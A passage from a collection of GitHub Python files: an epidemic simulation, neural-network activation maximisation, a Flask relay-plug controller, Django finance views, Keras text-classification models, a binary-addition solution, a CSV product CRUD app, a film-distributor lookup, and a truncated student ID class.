self.x:\n distance = x - self.x - self.r\n else:\n distance = x - self.x + self.r\n time = distance / self.speed_x\n if time > 0 and (time < time_step or math.fabs(time - time_step) < ContactResponse.T_EPSILON):\n response = ContactResponse(time)\n response.next_event_time = time\n response.new_speed_x = -self.speed_x\n response.new_speed_y = self.speed_y\n return response\n else:\n return ContactResponse()\n\n def has_time_within_step_period(self, time, time_step):\n pass\n\n def detect_contact_horizontal_bounds(self, y, time_step):\n \"\"\"\n Handle contact with horizontal boundaries\n :param y:\n :param time_step:\n :return:\n \"\"\"\n if self.speed_y == 0:\n return ContactResponse()\n if y > self.y:\n distance = y - self.y - self.r\n else:\n distance = y - self.y + self.r\n time = distance / self.speed_y\n if time > 0 and (time < time_step or math.fabs(time - time_step) < ContactResponse.T_EPSILON):\n response = ContactResponse(time)\n response.new_speed_x = self.speed_x\n response.new_speed_y = -self.speed_y\n response.next_event_time = time\n return response\n else:\n return ContactResponse()\n\n\nclass ContactResponse(object):\n \"\"\"\n Provides data about an incoming contact event\n \"\"\"\n\n T_EPSILON = 0.01\n\n def __init__(self, next_event_time=float('inf')):\n self.next_event_time = next_event_time\n\n def update_x(self, curr_speed_x, curr_x):\n if self.next_event_time > self.T_EPSILON:\n return curr_x + curr_speed_x * (self.next_event_time - self.T_EPSILON)\n return curr_x\n\n def update_y(self, curr_speed_y, curr_y):\n if self.next_event_time > self.T_EPSILON:\n return curr_y + curr_speed_y * (self.next_event_time - self.T_EPSILON)\n return curr_y\n\n def get_exact_new_x(self, curr_speed_x, curr_x):\n return curr_x + curr_speed_x * self.next_event_time\n\n def get_exact_new_y(self, curr_speed_y, curr_y):\n return curr_y + curr_speed_y * self.next_event_time\n\n def reset(self):\n self.next_event_time = float('inf')\n\n\ndef build_host(condition, i):\n \"\"\"\n EpiHost factory\n :param condition: unexposed, infected, recovered epidemiological state\n :param i: iterator\n :return: new EpiHost instance\n \"\"\"\n state = {\n 'condition': condition,\n 'x': random.randint(HostConfig.SIZE + 12, Screen.WIDTH - HostConfig.SIZE - 12),\n 'y': random.randint(HostConfig.SIZE + 12, Screen.HEIGHT - 100 - HostConfig.SIZE - 12),\n 'speed': random.randint(HostConfig.MIN_SPEED, HostConfig.MAX_SPEED),\n 'angle': random.randint(0, 359),\n 'r': HostConfig.SIZE / 2.,\n 'name': str(i),\n 'color': Disease.COLOR_MAP[condition],\n }\n\n return EpiHost(state)\n\n\ndef make_hosts(unexposed: int, infected: int) -> list:\n \"\"\"\n Makes a number of unexposed and infected hosts\n :param unexposed: int number of unexposed EpiHosts\n :param infected: int number of infected EpiHosts\n :return: list EpiHost instances\n \"\"\"\n unexposed = [build_host(Disease.UNEXPOSED, i) for i in range(unexposed)]\n infected = [build_host(Disease.INFECTED, i) for i in range(infected)]\n return unexposed + infected\n","repo_name":"wesdoyle/python_epidemic_simulation","sub_path":"epidemiological_host.py","file_name":"epidemiological_host.py","file_ext":"py","file_size_in_byte":10424,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"31"} +{"seq_id":"22560955349","text":"import torch\nimport numpy as np\nfrom tqdm import tqdm\nfrom .regularization import *\nfrom copy import deepcopy\n\ndef maximize_im_simple(model, im, num_iters=int(1e3), lr=1e-2,\n lambda_pnorm=0, lambda_tv=0,\n device='cuda', save_freq=50, class_num=None):\n '''\n maximize im specified by pattern\n \n Returns\n -------\n ims_opt: list\n list of optimized images\n losses: list\n loss for each image\n '''\n opt = torch.optim.SGD({im}, lr=lr) #, betas=(0.9, 0.999), eps=1e-08, weight_decay=0, amsgrad=False)\n losses = np.zeros(num_iters + 1)\n ims_opt = []\n for i in (np.arange(num_iters) + 1):\n model.zero_grad()\n pred = model(im).squeeze() # forward pass\n \n # what we want to minimize\n if class_num is None:\n loss = -1 * pred.norm() # how large output is\n else:\n loss = -1 * pred[class_num].norm() # how large output is\n \n loss = loss + lambda_pnorm * im.norm(p=6) # p-norm (keeps any pixel from having too large a value)\n loss = loss + lambda_tv * tv_norm_torch(im).item() # tv regularization\n \n # optimize\n loss.backward(retain_graph=True)\n opt.step() \n \n # saving\n losses[i] = loss.detach().item()\n if i % save_freq == 0:\n ims_opt.append(deepcopy(im.detach().cpu()))\n\n return ims_opt, losses\n\ndef maximize_im(model, im_shape, \n objective='pred', output_weights=None, im1=None, im2=None, # objective\n init='zero', num_iters=int(1e3), lr=1e-2, center_crop=False, # params\n lambda_pnorm=0, lambda_tv=0, jitter=0, # regularization\n device='cuda', save_freq=50, viz_online=False): # saving\n '''maximize image wrt to some objective\n\n Params\n ------\n model - model to be maximized\n im_shape - shape of input (should be something like 1 x 3 x H x W)\n objective - 'pred' (maximizes pred) or 'diff' (maximizes diff between feats of two images)\n output_weights - vector to dot with output (decides which classes to maximize)\n im1 - im1 for diff\n im2 - im2 for diff (visualize the vector which maximizes im2 - im1)\n\n Returns\n -------\n ims_opt (list) - images\n losses (list) - loss for each of the images\n '''\n \n # initialize\n if init == 'zero':\n im = torch.zeros(im_shape, requires_grad=True, device=device)\n elif init == 'randn':\n im = torch.randn(im_shape, requires_grad=True, device=device)\n im.data = im.data / 1e4 + 133\n \n if objective == 'diff':\n output_weights = model(im2.to(device)).squeeze().flatten() - model(im1.to(device)).squeeze().flatten()\n \n # setup\n opt = torch.optim.SGD({im}, lr=lr)\n losses = np.zeros(num_iters + 1)\n ims_opt = []\n ox, oy = 0, 0\n for i in tqdm(np.arange(num_iters) + 1):\n model.zero_grad()\n pred = model(im).squeeze() # forward pass\n \n # what we want to minimize\n if objective == 'pred':\n loss = -1 * torch.dot(pred, output_weights).norm()\n elif objective == 'diff':\n loss = -1 * torch.dot(pred.flatten(), output_weights).norm()\n # regularization \n loss = loss + lambda_pnorm * im.norm(p=6) # p-norm (keeps any pixel from having too large a value)\n loss = loss + lambda_tv * tv_norm_torch(im) # regularization.tv_norm_torch_3d(im)\n \n # update\n losses[i] = loss.detach().item()\n loss.backward(retain_graph=True)\n opt.step() \n \n # what to save\n if i % save_freq == 0:\n ims_opt.append(deepcopy(im.detach().cpu()))\n if viz_online:\n viz.viz_clip(ims_opt[-1])\n \n if losses[i] > 1e3: # make sure lr isn't too high\n print('not decreasing!')\n return ims_opt, losses\n if (im != im).sum() > 0: # this works to detect nan\n print('nan!')\n return ims_opt, losses\n \n if jitter:\n im.data = torch.roll(torch.roll(im, shifts=-ox, dims=-1), shifts=-oy, dims=-2).data # apply jitter shift \n ox, oy = np.random.randint(-jitter, jitter + 1, 2)\n ox, oy = int(ox), int(oy)\n im.data = torch.roll(torch.roll(im, shifts=ox, dims=-1), shifts=oy, dims=-2).data # apply jitter shift \n \n # zero everything that's not center_crop\n if center_crop:\n mid = im.data.shape[-1] // 2\n low = mid - center_crop // 2\n high = mid + center_crop // 2\n orig_val = im.data[:, :, low: high, low: high].detach()\n im.data = 0 * im.data\n im.data[:, :, low: high, low: high] = orig_val\n\n \n return ims_opt, losses\n\n\n","repo_name":"csinva/max-activation-interpretation-pytorch","sub_path":"max_act/max_act.py","file_name":"max_act.py","file_ext":"py","file_size_in_byte":4811,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"10816651989","text":"__author__ = 'Semih YILDIRIM'\n\nfrom flask import Flask, request, render_template, redirect\nimport time\nfrom wiringx86 import GPIOGalileo as Galileo\nfrom threading import Timer\n\n\nplug_status = {'a':'off', 'b':'off', 'c':'off'}\n\ngpio = Galileo(debug = False)\n\nplug_a_ctrl = 9\nplug_b_ctrl = 10\nplug_c_ctrl = 11\n\ngpio.pinMode(plug_a_ctrl, gpio.OUTPUT)\ngpio.pinMode(plug_b_ctrl, gpio.OUTPUT)\ngpio.pinMode(plug_c_ctrl, gpio.OUTPUT)\n\ngpio.digitalWrite(plug_a_ctrl, gpio.HIGH)\ngpio.digitalWrite(plug_b_ctrl, gpio.HIGH)\ngpio.digitalWrite(plug_c_ctrl, gpio.HIGH)\n\nclass parse_command:\n global plug_a_ctrl\n global plug_b_ctrl\n global plug_c_ctrl\n\n\n @staticmethod\n def parse_name(name):\n if name == \"a\":\n plug = plug_a_ctrl\n elif name == \"b\":\n plug = plug_b_ctrl\n elif name == \"c\":\n plug = plug_c_ctrl\n return plug\n\n @staticmethod\n def parse_turn_mode(turn_mode):\n if turn_mode == \"on\":\n level = gpio.LOW #normally we need to use gpio.HIGH but our relay module is low trigger\n elif turn_mode == \"off\":\n level = gpio.HIGH #normally we need to use gpio.LOW but our relay module is low trigger\n return level\n\n @staticmethod\n def parse_interval(number, smh):\n number = float(number)\n\n if smh == \"second\":\n interval = number*1\n if smh == \"minute\":\n interval = number*60\n elif smh == \"hour\":\n interval = number*3600\n return interval\n\n\ndef control(name, turn_mode):\n gpio.digitalWrite(parse_command.parse_name(name), parse_command.parse_turn_mode(turn_mode))\n \n plug_status[name] = turn_mode\n \ndef rule(name, turn_mode, number, smh, then):\n plug_status.get\n control(name, turn_mode)\n start = time.time()\n future_time = parse_command.parse_interval(number, smh) + start\n name = Timer(parse_command.parse_interval(number, smh), control, [name, then])\n name.start()\n\n\n\n\napp = Flask(__name__)\n\napp.debug = True\n\n@app.route('/')\ndef index():\n return redirect('home')\n\n@app.route('/home', methods=['GET', 'POST'])\ndef home():\n return render_template('home.html', a=plug_status.get('a'), b=plug_status.get('b'), c=plug_status.get('c'))\n\n@app.route('/plugs', methods=['GET', 'POST'])\ndef plugs():\n return render_template('plugs.html', a=plug_status.get('a'), b=plug_status.get('b'), c=plug_status.get('c'))\n\n\n@app.route('/home/turnall', methods=['POST'])\ndef home_turnall():\n turn_mode = request.form['turnall']\n\n control('a', turn_mode)\n control('b', turn_mode)\n control('c', turn_mode)\n\n return render_template('home.html', a=plug_status.get('a'), b=plug_status.get('b'), c=plug_status.get('c'))\n \n\n@app.route('/plugs/control', methods=['POST'])\ndef plugs_control():\n plug = request.form['plug']\n turn_mode = request.form['turn']\n \n control(plug, turn_mode)\n\n return render_template('plugs.html', a=plug_status.get('a'), b=plug_status.get('b'), c=plug_status.get('c'))\n\n@app.route('/plugs/rule', methods=['POST'])\ndef plugs_rule():\n plug = request.form['plug']\n turn_mode = request.form['turn']\n smh = request.form['smh']\n number = request.form['number']\n then = request.form['then']\n\n rule(plug, turn_mode, number, smh, then)\n\n return render_template('plugs.html', a=plug_status.get('a'), b=plug_status.get('b'), c=plug_status.get('c'))\n\n\nif __name__ == '__main__':\n app.run(host='192.168.1.29' , threaded=True, port=3936) #app.run(host='0.0.0.0') This tells your operating system to listen on all public IPs\n\n","repo_name":"pifordi/web_controlled_tripleplug_with_flask","sub_path":"ictp_v1.py","file_name":"ictp_v1.py","file_ext":"py","file_size_in_byte":3585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1848482677","text":"from typing import Set\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\n\nfrom .models import *\nfrom .utils import *\nfrom backend.utils import request_selected_symbol\n\n# Create your views here.\n\n\ndef user_settings(request):\n\n instance = get_object_or_404(Settings, owner_id=request.user.id)\n if not instance:\n instance = Settings(owner=request.user)\n\n form = SettingsForm(request.POST or None, instance=instance)\n if request.POST and form.is_valid():\n form.save()\n return redirect('/info/')\n\n return render(request, 'Settings.html', {'form': form})\n\n\ndef info(request):\n\n settings =get_object_or_404(Settings, owner=request.user)\n\n keyword = keywords_split(settings.keywords)\n news_title_1, news_title_2, news_title_3, news_content_1, news_content_2, news_content_3, news_title_4, news_title_5, news_title_6, news_content_4, news_content_5, news_content_6, news_url_1, news_url_2, news_url_3, news_url_4, news_url_5, news_url_6 = info_news(keyword)\n \n categoryData1, values1, last_high1, last_close1 = request_selected_symbol(settings.symbol1, settings.interval1)\n categoryData2, values2, last_high2, last_close2 = request_selected_symbol(settings.symbol2, settings.interval2)\n categoryData3, values3, last_high3, last_close3 = request_selected_symbol(settings.symbol3, settings.interval3)\n\n return render(request, 'FinancialInfo.html', locals())\n","repo_name":"Yeseniazhuo/FinMaster","sub_path":"backend/finance/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"25575716274","text":"import os\nimport re\nimport string\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport sklearn\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer, TfidfTransformer\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import Sequential\nfrom tensorflow.keras.layers import Dense, BatchNormalization, ReLU\nfrom sklearn.model_selection import train_test_split\nfrom keras.layers import Conv1D, MaxPooling1D, BatchNormalization, ReLU, Flatten\nfrom keras.layers.merge import Concatenate\nfrom keras import Model\nfrom nltk.stem import WordNetLemmatizer\nfrom keras.layers import Dropout, Dense, GRU, Embedding, LSTM, Bidirectional, Input,Activation\nfrom keras.models import Sequential\nfrom config import INPUT_PATH, OUTPUT_PATH, EARLY_STOPPING, VERBOSE, DROP_OUT, H_Node, EPOCHS, BATCH_SIZE, MAX_LEN, \\\n EMBEDDING_DIM,MAX_POOL\n\nnclasses = 2\n\ndense_layers = [\n Dense(256, activation='relu'),\n Dropout(DROP_OUT),\n Dense(64, activation='relu'),\n Dropout(DROP_OUT),\n Dense(16, activation='relu'),\n Dense(2, activation='softmax')\n]\n\n\ndef time_series_layer(n_count, fun):\n layers = []\n for i in range(n_count - 1):\n layers.append(fun(H_Node, return_sequences=True))\n layers.append(Dropout(DROP_OUT))\n layers.append(fun(H_Node))\n layers.append(Dropout(DROP_OUT))\n return layers\n\n\ndef time_series_layer2(n_count, fun):\n layers = []\n for i in range(n_count - 1):\n layers.append(Bidirectional(fun(H_Node, return_sequences=True)))\n layers.append(Dropout(DROP_OUT))\n layers.append(Bidirectional(fun(H_Node)))\n layers.append(Dropout(DROP_OUT))\n return layers\n\n\ndef get_rnn_models(tokenizer, embedding_matrix):\n model1 = Sequential([\n Embedding(len(tokenizer.word_index) + 1, EMBEDDING_DIM, weights=[embedding_matrix],\n input_length=MAX_LEN, trainable=True),\n *time_series_layer(2, LSTM),\n *dense_layers\n ])\n\n model2 = Sequential([\n *time_series_layer(2, LSTM),\n *dense_layers\n ])\n\n model3 = Sequential([\n Embedding(len(tokenizer.word_index) + 1, EMBEDDING_DIM, weights=[embedding_matrix],\n input_length=MAX_LEN, trainable=True),\n *time_series_layer(2, GRU),\n *dense_layers\n ])\n\n model4 = Sequential([\n *time_series_layer(2, GRU),\n *dense_layers\n ])\n\n model5 = Sequential([\n *time_series_layer2(2, GRU),\n Dense(256, activation='relu'),\n Dropout(DROP_OUT),\n Dense(64, activation='relu'),\n Dropout(DROP_OUT),\n Dense(16, activation='relu'),\n Dense(2, activation='softmax')\n ])\n\n model6 = Sequential([\n *time_series_layer2(2, LSTM),\n Dense(256, activation='relu'),\n Dropout(DROP_OUT),\n Dense(64, activation='relu'),\n Dropout(DROP_OUT),\n Dense(16, activation='relu'),\n Dense(2, activation='softmax')\n ])\n\n model7 = Sequential([\n Embedding(len(tokenizer.word_index) + 1, EMBEDDING_DIM, weights=[embedding_matrix],\n input_length=MAX_LEN, trainable=True),\n *time_series_layer2(2, GRU),\n Dense(256, activation='relu'),\n Dropout(DROP_OUT),\n Dense(64, activation='relu'),\n Dropout(DROP_OUT),\n Dense(16, activation='relu'),\n Dense(2, activation='softmax')\n ])\n\n model8 = Sequential([\n Embedding(len(tokenizer.word_index) + 1, EMBEDDING_DIM, weights=[embedding_matrix],\n input_length=MAX_LEN, trainable=True),\n *time_series_layer2(2, LSTM),\n Dense(256, activation='relu'),\n Dropout(DROP_OUT),\n Dense(64, activation='relu'),\n Dropout(DROP_OUT),\n Dense(16, activation='relu'),\n Dense(2, activation='softmax')\n ])\n return [(model1, 0), (model2, 1), (model3, 0), (model4, 1),\n (model5, 1), (model6, 1), (model7, 0), (model8, 0)]\n\n\ndense_layers = [\n Dense(256, activation='relu'),\n Dropout(DROP_OUT),\n Dense(64, activation='relu'),\n Dropout(DROP_OUT),\n Dense(16, activation='relu'),\n Dropout(DROP_OUT),\n Dense(2, activation='softmax')\n]\n\nlayers1 = []\nfor i in range(1):\n layers1.append(Conv1D(H_Node, (i + 2)))\n layers1.append(BatchNormalization())\n layers1.append(ReLU())\n layers1.append(MaxPooling1D(MAX_POOL))\n layers1.append(Dropout(DROP_OUT))\n\nlayers2 = []\nfor i in [5, 30]:\n layers2.append(Conv1D(H_Node, 5))\n layers1.append(BatchNormalization())\n layers1.append(ReLU())\n layers1.append(Dropout(DROP_OUT))\n layers1.append(MaxPooling1D(i))\n\n\ndef get_cnn_models(tokenizer, embedding_matrix):\n model = Sequential()\n convs = []\n filter_sizes = []\n layer = 5\n for fl in range(0, layer):\n filter_sizes.append((fl + 2))\n\n embedding_layer = Embedding(len(tokenizer.word_index) + 1,\n EMBEDDING_DIM,\n weights=[embedding_matrix],\n input_length=MAX_LEN,\n trainable=True)\n sequence_input = Input(shape=(MAX_LEN,), dtype='int32')\n embedded_sequences = embedding_layer(sequence_input)\n\n for fsz in filter_sizes:\n l_conv = Conv1D(H_Node, kernel_size=fsz,\n activation='relu')(embedded_sequences)\n l_pool = MaxPooling1D(5)(l_conv)\n convs.append(l_pool)\n\n l_merge = Concatenate(axis=1)(convs)\n l_cov1 = Conv1D(H_Node, 5, activation='relu')(l_merge)\n l_cov1 = Dropout(DROP_OUT)(l_cov1)\n l_pool1 = MaxPooling1D(5)(l_cov1)\n\n l_flat = Flatten()(l_pool1)\n l_dense = Dense(1024, activation='relu')(l_flat)\n l_dense = Dropout(DROP_OUT)(l_dense)\n l_dense = Dense(512, activation='relu')(l_dense)\n l_dense = Dropout(DROP_OUT)(l_dense)\n preds = Dense(2, activation='softmax')(l_dense)\n model = Model(sequence_input, preds)\n return model\n\n\ndef get_rcnn_models(tokenizer, embedding_matrix):\n kernel_size = 2\n filters = 256\n pool_size = 2\n gru_node = 256\n model = Sequential()\n model.add(Embedding(len(tokenizer.word_index) + 1,\n EMBEDDING_DIM,\n weights=[embedding_matrix],\n input_length=MAX_LEN,\n trainable=True))\n model.add(Dropout(0.25))\n model.add(Conv1D(filters, kernel_size, activation='relu'))\n model.add(MaxPooling1D(pool_size=pool_size))\n model.add(Dropout(0.25))\n model.add(Conv1D(filters, kernel_size, activation='relu'))\n model.add(MaxPooling1D(pool_size=pool_size))\n model.add(Dropout(0.25))\n model.add(LSTM(gru_node, return_sequences=True, recurrent_dropout=0.2))\n model.add(LSTM(gru_node, return_sequences=True, recurrent_dropout=0.2))\n model.add(LSTM(gru_node, recurrent_dropout=0.2))\n model.add(Dense(1024, activation='relu'))\n model.add(Dropout(0.25))\n model.add(Dense(nclasses))\n model.add(Activation('softmax'))\n\n return model\n","repo_name":"utsavk28/NLP-with-Disaster-Tweets","sub_path":"model_utils.py","file_name":"model_utils.py","file_ext":"py","file_size_in_byte":7007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17303452491","text":"class Solution(object):\n def addBinary(self, a, b):\n \"\"\"\n :type a: str\n :type b: str\n :rtype: str\n \"\"\"\n ans = []\n i, j = len(a) - 1, len(b) - 1\n carry = 0\n while i >= 0 or j >= 0:\n if i < 0:\n num_a = 0\n else:\n num_a = ord(a[i]) - ord('0')\n i -= 1\n\n if j < 0:\n num_b = 0\n else:\n num_b = ord(b[j]) - ord('0')\n j -= 1\n\n s = num_a + num_b + carry\n carry = s // 2\n ans.append(str(s % 2))\n\n if carry:\n ans.append(str(carry))\n\n return ''.join(ans[::-1])\n\nt = Solution()\nassert(t.addBinary('100', '1') == '101')\nassert(t.addBinary('11', '1') == '100')\nprint(\"tests passed\")\n","repo_name":"dsdshcym/LeetCode-Solutions","sub_path":"algorithms/add_binary.py","file_name":"add_binary.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"648855569","text":"from Klasifikator import *\n\nimport numpy\n\nclass dijeljena(Klasifikator):\n\tdef __init__(self):\n\t\tsuper(dijeljena, self).__init__()\n\t\treturn\n\n\tdef train(self, train_set, poredak = None):\n\t\tsuper(dijeljena, self).train(train_set, poredak)\n\t\tnovi_sigma = None\t\n\n\t\tfor key in self.klase:\n\t\t\tif novi_sigma == None:\n\t\t\t\tnovi_sigma = self.P[key] * self.sigma[key]\n\t\t\telse:\n\t\t\t\tnovi_sigma += self.P[key] * self.sigma[key]\n\t\t\n\t\tfor key in self.sigma:\n\t\t\tself.sigma[key] = novi_sigma\n\n\t\treturn\n","repo_name":"msantl/SU","sub_path":"lab1/src/dijeljena.py","file_name":"dijeljena.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40056239218","text":"#Some functions use a hardcoded dictionary of products, some read a csv\n#Not checking for validity of input, will have to add check for product in csv\n\n\nimport csv\n\n# Reading CSV\ncsv_path = \"data/products.csv\"\n\n'''updated with Prof's code for cleaner script, \nappends rows read from CSV to dictionary\nrather than rereading CSV multiple times'''\ninventory = []\n\nwith open(csv_path, \"r\") as file:\n\t\treader = csv.DictReader(file)\n\t\tfor ordered_dict in reader:\n\t\t\tinventory.append(dict(ordered_dict))\n\nids = []\nfor i in range(0, len(inventory)):\n\tids.append(inventory[i][\"id\"])\n\n# Created a function for writing the dictionary back to CSV\ndef WriteCSV():\n\twith open(csv_path, \"w\") as file:\n\t\twriter = csv.DictWriter(file, \n\t\t\tfieldnames=[\"id\",\"name\",\"aisle\",\"department\",\"price\"])\n\t\twriter.writeheader()\n\t\tfor product in inventory:\n\t\t\twriter.writerow(product)\n\n#THE CRUD APP\n\nprint (\"----------------\")\nprint (\"Products Application\")\nprint (\"----------------\")\nprint (\"Welcome selyukin:\")\nprint (\"There are %i products in the database. Please select an operation:\"\n\t%((len(inventory)))) \nprint (\"\\n\",\n\t\" Operation | Description \\n\"\n\t\" --------- | ----------- \\n\"\n\t\" List | Display a list of product identifiers and names. \\n\"\n\t\" Show | Show information about a product. \\n\"\n\t\" Create | Add a new product. \\n\"\n\t\" Update | Edit an existing product. \\n\"\n\t\" Destroy | Delete an existing product. \\n\"\n\t\" Exit | Exit the application.\")\n\ntask = input()\n\ndef ListOp():\n\t'''This function reads the dictionary created\n\tfrom reading the CSV and prints out\n\tthe ID and name of each product'''\n\tfor i in range(0, len(inventory)):\n\t\tprint (\"+ ID:\" + inventory[i][\"id\"] + \n\t\t\t\", Name: \" + inventory[i][\"name\"])\n\ndef ShowOp():\n\t'''This function requests a user input for a product \n\tidentifier, then reads the dictionary and prints the\n\tproduct info for the product matching the ID. If the\n\tproduct ID is not in the inventory the app states so \n\tand prompts the user for a new ID.'''\n\titem = input(\"Please specify a product id:\")\n\tif item in ids:\n\t\titem = int(item) - 1\n\t\tprint (\"Name:\", inventory[int(item)][\"name\"], \"\\n\",\n\t\t\t\t\"Department:\", inventory[int(item)][\"department\"], \"\\n\",\n\t\t\t\t\"Aisle:\", inventory[int(item)][\"aisle\"], \"\\n\",\n\t\t\t\t\"Price: $\" + inventory[int(item)][\"price\"])\n\telse:\n\t\tprint (\"Sorry, this item is not in the inventory.\")\n\t\tShowOp()\n\ndef CreateOp():\n\t'''This functions prompts the user to enter information\n\tfor a new product. It then appends this information to\n\tthe dictionary and writes everything out to the CSV,\n\toverwriting the original.'''\n\tprint (\"Please specify new product information:\")\n\tnewName = input(\"Name:\")\n\tnewDept = input(\"Department:\")\n\tnewAisle = input(\"Aisle:\")\n\tnewPrice = float(input(\"Price:\"))\n\tprint (\"Creating a new product.\")\n\t#can modify below to autoincrement the product IDs, should re-index\n\tinventory.append({'id':int(len(inventory)+1), 'name':newName,\n\t\t'department':newDept, 'aisle':newAisle, 'price':newPrice})\n\tWriteCSV()\n\tprint (\"There are now %i products in the inventory.\" %(len(inventory)))\n\t\ndef UpdateOp():\n\t'''This function prompts the user for the ID of\n\ta product to update. The user is then prompted\n\tto enter all the new information for this product.\n\tThe dictionary is then updated with this new product\n\tinformation and then written out to the CSV,\n\toverwriting the original.\n\t'''\n\titem = input(\"Please specify a product id:\")\n\tprint (\"Please specify new product information:\")\n\tnewName = input(\"Change name to:\")\n\tnewDept = input(\"Change department to:\")\n\tnewAisle = input(\"Change aisle to:\")\n\tnewPrice = float(input(\"Change price to:\"))\n\tprint (\"Updating product information. \\n New product details:\")\n\titem = int(item) - 1\n\tinventory[int(item)][\"name\"] = newName\n\tinventory[int(item)][\"department\"] = newDept\n\tinventory[int(item)][\"aisle\"] = newAisle\n\tinventory[int(item)][\"price\"] = newPrice\n\tWriteCSV()\n\tprint (\"Name:\", inventory[int(item)][\"name\"], \"\\n\",\n\t\t\t\"Department:\", inventory[int(item)][\"department\"], \"\\n\",\n\t\t\t\"Aisle:\", inventory[int(item)][\"aisle\"], \"\\n\",\n\t\t\t\"Price: $\" + str(inventory[int(item)][\"price\"]))\n\ndef DestroyOp():\n\t'''This function prompts the user for a\n\tproduct ID and then deletes that product\n\tinformation from the dictionary. The CSV\n\tis then overwritten with the updated \n\tdictionary.\n\t'''\n\titem = input(\"Please specify a product to remove:\")\n\titem = int(item) - 1\n\tinventory.remove(inventory[item])\n\t#should reindex products\n\tprint (\"Product deleted. There are now {0} products in the inventory\"\n\t\t.format(len(inventory)))\n\tWriteCSV()\n\ndef CRUD(task):\n\tif task == \"List\":\n\t\tListOp()\n\telif task == \"Show\":\n\t\tShowOp()\n\telif task == \"Create\":\n\t\tCreateOp()\n\telif task == \"Update\":\n\t\tUpdateOp()\n\telif task == \"Destroy\":\n\t\tDestroyOp()\n\telif task == \"Exit\":\n\t\tprint (\"Goodbye!\")\n\telse:\n\t\tprint (\"Sorry, please specify a valid operation\")\n\t\ttask = input()\n\t\tCRUD(task)\n\n\n#Run application\nCRUD(task)","repo_name":"selyukin/CRUDapp","sub_path":"app/products_app.py","file_name":"products_app.py","file_ext":"py","file_size_in_byte":4917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72739305369","text":"import sqlite3\nfrom flask import Flask, render_template, request, g\n\napplication = Flask(__name__)\napplication.debug=True\n\nDATABASE = './distributors.db'\n\n@application.before_request\ndef get_db():\n g.db = sqlite3.connect(DATABASE)\n\n@application.teardown_request\ndef close_connection(exception):\n db = getattr(g, '_database', None)\n if db is not None:\n db.close()\n\n@application.route('/')\ndef index():\n return render_template('index.html')\n\n@application.route('/', methods=['POST'])\ndef query():\n base_query = 'SELECT Title, Year, Runtime, IMDb_Distributor, Distributor FROM Films '\n\n if request.form['inputTitles']:\n titles = request.form['inputTitles'].split('\\r\\n')\n films = lookup_titles(titles, base_query)\n return render_template('results.html', films = films) \n elif request.form['inputCast']:\n cast = request.form['inputCast']\n base_query += 'JOIN People JOIN Appearances WHERE People.Person_ID = Appearances.Person_ID AND Films.Film_ID = Appearances.Film_ID AND Name = ? '\n\n if 'shorts' not in request.form:\n base_query += 'AND Runtime > 55 '\n\n films = g.db.execute(base_query + 'ORDER BY Year', [cast]).fetchall() \n return render_template('results.html', person = cast, films = films)\n else:\n director = request.form['inputDirector']\n base_query += 'JOIN People JOIN Directs WHERE People.Person_ID = Directs.Person_ID AND Films.Film_ID = Directs.Film_ID AND Name = ? '\n if 'shorts' not in request.form:\n base_query += 'AND Runtime > 55 '\n\n films = g.db.execute(base_query + 'ORDER BY Year', [director]).fetchall()\n return render_template('results.html', person = director, films = films)\n\ndef lookup_titles(titles, base_query):\n '''Look up titles of the form Title (Optional: Year)'''\n films = []\n\n for title in titles:\n if title.isspace() or title is \"\" or not title:\n continue\n \n year_start = title.rfind('(') \n year_end = title.rfind(')')\n year = \"\"\n if year_end == len(title) - 1 and year_end - year_start == 5:\n year = title[year_start + 1:year_end]\n query = '%' + title[:year_start - 1] + '%'\n else:\n query = '%' + title + '%'\n \n base_query += 'WHERE Title LIKE ? '\n if 'shorts' not in request.form:\n base_query += 'AND Runtime > 55 '\n if year: \n base_query += ' AND Year = ?'\n results = g.db.execute(base_query, [query, year]).fetchall()\n else:\n results = g.db.execute(base_query, [query]).fetchall()\n\n for r in results:\n films.insert(0, r)\n \n return films \n\nif __name__ == '__main__':\n application.run()\n","repo_name":"anton-yu/doc-distribution","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35550981490","text":"from UniqueID import UniqueID\n\nclass StudentID(UniqueID):\n\n def __init__(self, *args):\n self.__departmentCode = 0\n self.__yearCode = 0\n self.__orderOfPlacement = 0\n index = 0\n for t in args: \n if (isinstance(t, int)):\n if index == 0:\n self.__departmentCode = t\n if index == 1:\n self.__yearCode = t\n if index == 2:\n self.__orderOfPlacement = t\n index += 1\n if (isinstance(t, str)):\n self.setID(t)\n\n # Creating properties for variables\n \n def setID(self, *args):\n index = 0\n for t in args: \n if (isinstance(t, int)):\n if index == 0:\n self.__departmentCode = t\n if index == 1:\n self.__yearCode = t\n if index == 2:\n self.__orderOfPlacement = t\n index += 1\n\n if (isinstance(t, str)):\n try:\n int(t)\n except ValueError:\n pass\n self.__departmentCode = int(t[:3])\n self.__yearCode = int(t[3:6])\n self.__orderOfPlacement = int(t[6:])\n\n def getID(self) -> str:\n return self.digitFixer(self.__departmentCode) + self.digitFixer(self.__yearCode) + self.digitFixer(self.__orderOfPlacement)\n\n ## Creating another methods\n def digitFixer(self, integer: int) -> str:\n tempOrder = str(integer)\n if integer < 10:\n tempOrder = \"00\" + 